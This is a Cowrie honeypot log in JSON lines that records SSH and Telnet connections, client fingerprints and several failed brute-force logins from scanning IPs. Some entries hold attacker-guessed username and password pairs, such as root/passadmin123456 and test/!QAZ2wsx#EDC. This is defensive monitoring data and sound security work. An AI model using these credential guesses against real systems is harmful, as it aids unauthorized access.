0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.570731Z","src_ip":"176.65.132.254","session":"8a8d309cf92c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56236,"dst_ip":"10.17.0.5","dst_port":23,"session":"23528320d7a5","protocol":"telnet","message":"New connection: 62.210.97.77:56236 (10.17.0.5:23) [session: 23528320d7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.668820Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ffcb3cbc335","protocol":"telnet","message":"New connection: 62.210.97.77:56244 (10.17.0.5:23) [session: 4ffcb3cbc335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:00.830830Z"}
{"eventid":"cowrie.session.closed","duration":31.00961136817932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:01.097398Z","src_ip":"136.144.139.78","session":"2a4c910e4efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6761c73706e","protocol":"telnet","message":"New connection: 62.210.97.77:56258 (10.17.0.5:23) [session: f6761c73706e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:01.129737Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:01.295650Z","src_ip":"176.65.132.254","session":"8a8d309cf92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:02.381026Z","src_ip":"176.65.132.254","session":"8a8d309cf92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.59260892868042,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:03.253137Z","src_ip":"65.60.27.33","session":"620cb895fe8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.57961559295654,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:03.838794Z","src_ip":"62.210.97.77","session":"fe8fb7605097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.86324143409729,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:04.163196Z","src_ip":"62.210.97.77","session":"83607c820fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56272,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c924130a82b","protocol":"telnet","message":"New connection: 62.210.97.77:56272 (10.17.0.5:23) [session: 3c924130a82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:04.579193Z"}
{"eventid":"cowrie.session.closed","duration":35.2072913646698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:04.872125Z","src_ip":"62.210.97.77","session":"0d385584ebbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"11f58798dcf7","protocol":"ssh","message":"New connection: 176.65.132.254:58164 (10.17.0.5:22) [session: 11f58798dcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:04.990224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:05.109344Z","src_ip":"176.65.132.254","session":"11f58798dcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:05.113595Z","src_ip":"176.65.132.254","session":"11f58798dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"64370d9d08da","protocol":"telnet","message":"New connection: 62.210.97.77:56274 (10.17.0.5:23) [session: 64370d9d08da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:05.469111Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:05.547433Z","src_ip":"176.65.132.254","session":"11f58798dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93692326545715,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:05.607354Z","src_ip":"62.210.97.77","session":"8bb9a269b194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:06.641374Z","src_ip":"176.65.132.254","session":"11f58798dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88955616950989,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:07.224477Z","src_ip":"62.210.97.77","session":"a57f6f281467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96921753883362,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:07.720887Z","src_ip":"62.210.97.77","session":"e4f4afc3a7d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.197832345962524,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:07.878631Z","src_ip":"38.54.119.93","session":"3342f31eecc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77437973022461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.067116Z","src_ip":"136.144.139.78","session":"b0ec41c94748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43106,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa4f563061d","protocol":"telnet","message":"New connection: 62.210.97.77:43106 (10.17.0.5:23) [session: 2aa4f563061d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.497032Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1cadfe9b2e","protocol":"ssh","message":"New connection: 176.65.132.254:58176 (10.17.0.5:22) [session: ab1cadfe9b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.543113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.548120Z","src_ip":"176.65.132.254","session":"ab1cadfe9b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.143035650253296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.597111Z","src_ip":"136.144.139.78","session":"aff0b689b969","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:09.641571Z","src_ip":"176.65.132.254","session":"ab1cadfe9b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:10.140964Z","src_ip":"176.65.132.254","session":"ab1cadfe9b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.39555883407593,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:10.453519Z","src_ip":"62.210.97.77","session":"3b9c19acd82e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da843e265bd","protocol":"telnet","message":"New connection: 62.210.97.77:43108 (10.17.0.5:23) [session: 7da843e265bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:10.845042Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:11.249630Z","src_ip":"176.65.132.254","session":"ab1cadfe9b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37810,"dst_ip":"10.17.0.5","dst_port":23,"session":"f97f7d577150","protocol":"telnet","message":"New connection: 165.232.131.181:37810 (10.17.0.5:23) [session: f97f7d577150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:11.321242Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33489,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e3d2859c17","protocol":"ssh","message":"New connection: 190.129.122.12:33489 (10.17.0.5:22) [session: c3e3d2859c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:11.804662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:11.809572Z","src_ip":"190.129.122.12","session":"c3e3d2859c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:11.975909Z","src_ip":"190.129.122.12","session":"c3e3d2859c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx#EDC","message":"login attempt [test/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:12.670477Z","src_ip":"190.129.122.12","session":"c3e3d2859c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:13.839841Z","src_ip":"190.129.122.12","session":"c3e3d2859c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.46771311759949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:13.927263Z","src_ip":"62.210.97.77","session":"436497a96d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38446,"dst_ip":"10.17.0.5","dst_port":22,"session":"872953367b30","protocol":"ssh","message":"New connection: 176.65.132.254:38446 (10.17.0.5:22) [session: 872953367b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.023301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.028064Z","src_ip":"176.65.132.254","session":"872953367b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.908226490020752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.059213Z","src_ip":"136.144.139.78","session":"205d60f14bca","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.113059Z","src_ip":"176.65.132.254","session":"872953367b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.361806Z","src_ip":"176.65.132.254","session":"872953367b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26e14d90173","protocol":"telnet","message":"New connection: 62.210.97.77:43110 (10.17.0.5:23) [session: b26e14d90173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:14.576468Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:15.452801Z","src_ip":"176.65.132.254","session":"872953367b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59690,"dst_ip":"10.17.0.5","dst_port":23,"session":"6465f1fbb9c3","protocol":"telnet","message":"New connection: 65.60.27.33:59690 (10.17.0.5:23) [session: 6465f1fbb9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:15.766902Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3b5226f228","protocol":"telnet","message":"New connection: 165.232.131.181:40178 (10.17.0.5:23) [session: 3c3b5226f228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:16.355000Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10073cf54be","protocol":"ssh","message":"New connection: 103.189.235.176:46240 (159.203.135.109:22) [session: e10073cf54be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:16.522633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:16.527587Z","src_ip":"103.189.235.176","session":"e10073cf54be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.22984457015991,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:16.956059Z","src_ip":"62.210.97.77","session":"a1699b31b1f0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.016491Z","src_ip":"103.189.235.176","session":"e10073cf54be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3358e5480883","protocol":"telnet","message":"New connection: 65.60.27.33:33376 (10.17.0.5:23) [session: 3358e5480883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.254847Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37390,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b2cd81764b","protocol":"telnet","message":"New connection: 165.232.131.181:37390 (10.17.0.5:23) [session: 81b2cd81764b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.333156Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8737292ed3","protocol":"telnet","message":"New connection: 62.210.97.77:43124 (10.17.0.5:23) [session: 4a8737292ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.341996Z"}
{"eventid":"cowrie.session.closed","duration":35.495023250579834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.477623Z","src_ip":"62.210.97.77","session":"9a75adf7bbb4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin123456","message":"login attempt [root/passadmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:17.967798Z","src_ip":"103.189.235.176","session":"e10073cf54be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddee2ec574b2","protocol":"ssh","message":"New connection: 176.65.132.254:38478 (10.17.0.5:22) [session: ddee2ec574b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:18.462476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:18.466890Z","src_ip":"176.65.132.254","session":"ddee2ec574b2","protocol":"ssh"}
